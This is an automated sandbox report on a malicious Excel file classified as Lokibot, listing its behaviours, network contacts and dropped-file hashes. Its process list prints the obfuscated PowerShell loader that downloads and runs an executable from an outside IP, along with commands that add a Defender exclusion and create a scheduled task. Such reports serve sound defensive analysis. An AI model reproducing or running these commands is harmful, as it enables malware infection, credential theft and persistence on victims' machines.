Analysis Overview
SHA256
f942a3046520f7838e33a1116faf8b9a6615756f044551651207f53b755a024d
Threat Level: Known bad
The file f942a3046520f7838e33a1116faf8b9a6615756f044551651207f53b755a024d.xls was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Lokibot
Lokibot family
Evasion via Device Credential Deployment
Downloads MZ/PE file
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Executes dropped EXE
Reads user/profile data of web browsers
Loads dropped DLL
Accesses Microsoft Outlook profiles
Drops file in System32 directory
Suspicious use of SetThreadContext
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
outlook_win_path
Enumerates system info in registry
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: AddClipboardFormatListener
Modifies Internet Explorer settings
Scheduled Task/Job: Scheduled Task
Suspicious use of SetWindowsHookEx
Uses Volume Shadow Copy service COM API
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Checks processor information in registry
Uses Volume Shadow Copy WMI provider
outlook_office_path
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-21 08:55
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-21 08:55
Reported
2024-11-21 08:58
Platform
win7-20240903-en
Max time kernel
119s
Max time network
122s
Command Line
Signatures
Lokibot
Lokibot family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe | N/A |
Reads user/profile data of web browsers
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2964 set thread context of 2568 | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | C:\Users\Admin\AppData\Roaming\caspol.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\f942a3046520f7838e33a1116faf8b9a6615756f044551651207f53b755a024d.xls
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe -Embedding
C:\Windows\SysWOW64\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe
"C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zv9ghrdm.cmdline"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCFCE.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCCFCD.tmp"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\rrwscqkDSNwLK.exe"
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\Admin\AppData\Local\Temp\tmp4192.tmp"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | provit.uk | udp |
| GB | 198.244.140.41:443 | provit.uk | tcp |
| US | 8.8.8.8:53 | r11.o.lencr.org | udp |
| FR | 23.1.254.170:80 | r11.o.lencr.org | tcp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| GB | 198.244.140.41:443 | provit.uk | tcp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| US | 8.8.8.8:53 | crl.microsoft.com | udp |
| FR | 23.15.179.154:80 | crl.microsoft.com | tcp |
| US | 8.8.8.8:53 | www.microsoft.com | udp |
| RO | 2.20.118.102:80 | www.microsoft.com | tcp |
| DE | 94.156.177.41:80 | 94.156.177.41 | tcp |
| DE | 94.156.177.41:80 | 94.156.177.41 | tcp |
| DE | 94.156.177.41:80 | 94.156.177.41 | tcp |
| DE | 94.156.177.41:80 | 94.156.177.41 | tcp |
Files
memory/2308-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2308-1-0x000000007243D000-0x0000000072448000-memory.dmp
memory/2308-17-0x0000000002D20000-0x0000000002D22000-memory.dmp
memory/2712-16-0x0000000002060000-0x0000000002062000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1087EC93233409051A3831D3D6C361C8
| MD5 | 0b60282e9ddea43ca313d63ec56740ad |
| SHA1 | e7cc9ff054f23bdd36103a4e90cc9f7e8e8b214a |
| SHA256 | 358893a6900a0c0cc4d1457dbe7bcdef7e24b7c437d3623806f23827caac2c13 |
| SHA512 | ed83aaf8dd61a513ec6854b3ba948fcfd8d4ffcbefebe082330d320f0c234003ba0b290eada14f79836cffd792931eb19bd3539ab2801c9c00c244e228439024 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1087EC93233409051A3831D3D6C361C8
| MD5 | 07495b0fdb6a3d3885aec8db9ff33bf7 |
| SHA1 | d9b06e201bba1af286cc8ebcf4b146929faf439b |
| SHA256 | 3d7fbd0e467e9a23b2fa90f47a7a44fda0efb1caf9b4ae7573ca778104a50e62 |
| SHA512 | 200f82d25f2774dfed3a83366bbe1837feb0a2a9faa0c703f0a2fd7206a4879a6e5793ed7128260086bd69717479ab638efab740b63d4f5cb6505dc9b8366122 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
| MD5 | 822467b728b7a66b081c91795373789a |
| SHA1 | d8f2f02e1eef62485a9feffd59ce837511749865 |
| SHA256 | af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9 |
| SHA512 | bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
| MD5 | 8948537a3d8cf6472968eaaa4d737bc7 |
| SHA1 | be0804f1dba8f2821fbfeb6086ba99133977d6ab |
| SHA256 | 85acea3f10c6eda76af7cf92e6a51d962be38db9eef1c3050941e09a1251a576 |
| SHA512 | ceab54352af50b7678f937e2370ba7b94efdf30b0af8797257fedc929bab892f3aa66451ce52b3804e6fa27e29354c76168fda2a7c125996f97fd66f716897df |
C:\Users\Admin\AppData\Local\Temp\CabC6D8.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\DJB1KT77\greetingwithgreatthignsgivenbackwithentireprocessgivenmeback[1].hta
| MD5 | 50388b1f7dd763e374254a7cba6c8ec5 |
| SHA1 | 6e6c486bc41a4bb1978c05585c01d2b8d9c60a5d |
| SHA256 | 7cc793038da07c244953d691f1206b00811817e1c623b582ef94276cecd6d77a |
| SHA512 | 0b2a143d563f62dd913de0ead3af93e27a9216758ae644d5dcf05d234d90771966ee27bc634c3749bf78a87d9656fa4f2b6e1547c4f260df08639136d11a8709 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | d6d823d046675e6c32b4825035b0f4c6 |
| SHA1 | d815615054eb8a969449fae9019eec55aecdc1f5 |
| SHA256 | e5d81951dc9eba7cb82682e6d8a6855185a4a86f3d3eaed773d890a594d9573f |
| SHA512 | fe401cc29e6c90e0320d74ec3e39adfe0e24a0f7a3b8f039171ec22849d69f2fb6abb55785aaf197f0a3947109559d638b61690acdf23c2e7ea1d42bcdc10232 |
\??\c:\Users\Admin\AppData\Local\Temp\zv9ghrdm.cmdline
| MD5 | c57bc8cdba00b7c06f649f8240a63731 |
| SHA1 | 520a60648b730f63e2e8b6d982997ed806cdf9b3 |
| SHA256 | 71e67c9a0696553812be4348b4a3797116fd185d88d2189d2b68786204239900 |
| SHA512 | f6c97bb1b61b67b0cb9e0e708df9e457d68c67643f9f04448297948fad7570c694c49af83486e40e491ac1511a36c31a3f2cc2af201fe72f022e886e51a95a2c |
\??\c:\Users\Admin\AppData\Local\Temp\zv9ghrdm.0.cs
| MD5 | fe82050659a8b97690d60529499222c1 |
| SHA1 | 7cc50135852b46dd1e36f2ff98506613db525a68 |
| SHA256 | 64c38563c4588b718b03aec685677f173456d3c961ef97cd95e7784ee1e51a6a |
| SHA512 | 59356fd5cbb38a06bf09e182b8ed7c7c2200e6f8de8e950be38bee0c45aa96b2dbf202bdc56097a74acc4e0a8bc601558e83c098a376630cfa1bcce64133d64f |
C:\Users\Admin\AppData\Local\Temp\RESCFCE.tmp
| MD5 | 2b5b10ec04cd67d8945424bb16587308 |
| SHA1 | 10238eed463047bcf2c316383d6f72e3eca14485 |
| SHA256 | f291752643b331119ed38f135b55d443e89a830869f96af62eee78124ee742f4 |
| SHA512 | f06ab9a0afa20dea09ac2a2c2c223d157ec8e42c294c9352f95037da68a95ba434fbc1ee146bd6db640a5f8d5d2ac6410b2a16e0a7e236024f9ada938867c34b |
\??\c:\Users\Admin\AppData\Local\Temp\CSCCFCD.tmp
| MD5 | a880c8b9bda21d20c8bf1b504fc8c17e |
| SHA1 | 49b3312c2b1047860334d71f596bc990fb7faeb4 |
| SHA256 | 777f5f69471e7c6458b1bde2a47f64b3379d7c3ad2486c6fcd7cbf643eab0eb1 |
| SHA512 | 227a3bf0235198e70ad25b2e1aadc8d8ca226487ad37ba9e7c99bdb7b34ca35877cba15d31c906c3203a1c4b8df85b4b3ad6b39bedbf57bebe47b4c1d21a2797 |
C:\Users\Admin\AppData\Local\Temp\zv9ghrdm.dll
| MD5 | ec937630adcf8977be40884de3ec18e8 |
| SHA1 | c9d6bea53470543a1d8a9ea3de43e3eb2560d1e4 |
| SHA256 | b8995b4ee5e11d4c99a12fea932b741d89f484fa65855209b61eee88281e061f |
| SHA512 | c5286de86e12d788e3d14264f09008252f1235f35ad6641a5f9f74653b98517713b3e02f147883f2767733079ead772fc0cc6e6e536716c42e046476537dfc98 |
C:\Users\Admin\AppData\Local\Temp\zv9ghrdm.pdb
| MD5 | 840cd591a20f611a1157774bb56a2b85 |
| SHA1 | 087e28cc8c1ab176bc0231a744d86efb4ed19216 |
| SHA256 | 17d1272995fe68d400161189eb4c101b4a3939650561992505a6b1ae24da2fc1 |
| SHA512 | 80d8b2a0d0cb0777f63ec442c664be272d81bd1c818331dfe72a4170a5d869e23d9856b4bce48e6e910fa3f74e42cdd15359d97c1b63bdf65f63779039fb9267 |
memory/2308-60-0x000000007243D000-0x0000000072448000-memory.dmp
C:\Users\Admin\AppData\Roaming\caspol.exe
| MD5 | 74061922f1e78c237a66d12a15a18181 |
| SHA1 | e31ee444aaa552a100f006e43f0810497a3b0387 |
| SHA256 | 89bf888148eae2caabdc6d3fff98054127b197b402493581894a3104ed6b6f1c |
| SHA512 | 306744107d78b02ecfd28252dae954f0b47c1f761e15a33c937474a2e15284c17bb7e2542618b745ea5f95e5a7dba3d27b675c8837914a44d8b5b350a3d4a136 |
memory/2964-70-0x00000000001B0000-0x0000000000248000-memory.dmp
memory/2964-71-0x0000000000320000-0x0000000000332000-memory.dmp
memory/2964-72-0x0000000005290000-0x00000000052F4000-memory.dmp
\??\PIPE\srvsvc
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | a56ee2770383b51628d2d20ce179de0f |
| SHA1 | 288a2a7c48dfe0bac0a7388fce8122845cfb04f2 |
| SHA256 | 8909f8abfd3b7b06136531eb3ca81f0a3377369d80e9597a94834c33ca154094 |
| SHA512 | e64a4cc3ab34c7c96ffdbdab63924b93c071f4491d1617e1fbbcd4117e63ffebe63d72254fa30b6af321b94c5e6b228d7b79d9207255962035c7258ecd96eb4a |
C:\Users\Admin\AppData\Local\Temp\tmp4192.tmp
| MD5 | e7f601e9f8dfa0e17e3a9e63ed32c661 |
| SHA1 | 4f71185e0f401b03c985c6882a8d1afc36949ced |
| SHA256 | 45c41a8d88c697291c6d4051d4bf470a6754822a7340042737f005d3c3bcfd0e |
| SHA512 | 1d3f834da17afc1039a222a271fbaa725dffe175f7c91105c7c4b68ea9e2e3f0d399c20c0095cd17d3e37e265a84775d301e9779b0e06789ed70fc62d3537567 |
memory/2568-91-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/2568-104-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/2568-102-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/2568-101-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/2568-99-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/2568-97-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/2568-95-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/2568-93-0x0000000000400000-0x00000000004A2000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3533259084-2542256011-65585152-1000\0f5007522459c86e95ffcc62f32308f1_38b42d9b-3e83-45f4-8789-a30be34574b0
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3533259084-2542256011-65585152-1000\0f5007522459c86e95ffcc62f32308f1_38b42d9b-3e83-45f4-8789-a30be34574b0
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |
memory/2568-123-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/2568-132-0x0000000000400000-0x00000000004A2000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-21 08:55
Reported
2024-11-21 08:58
Platform
win10v2004-20241007-en
Max time kernel
143s
Max time network
154s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\mshta.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
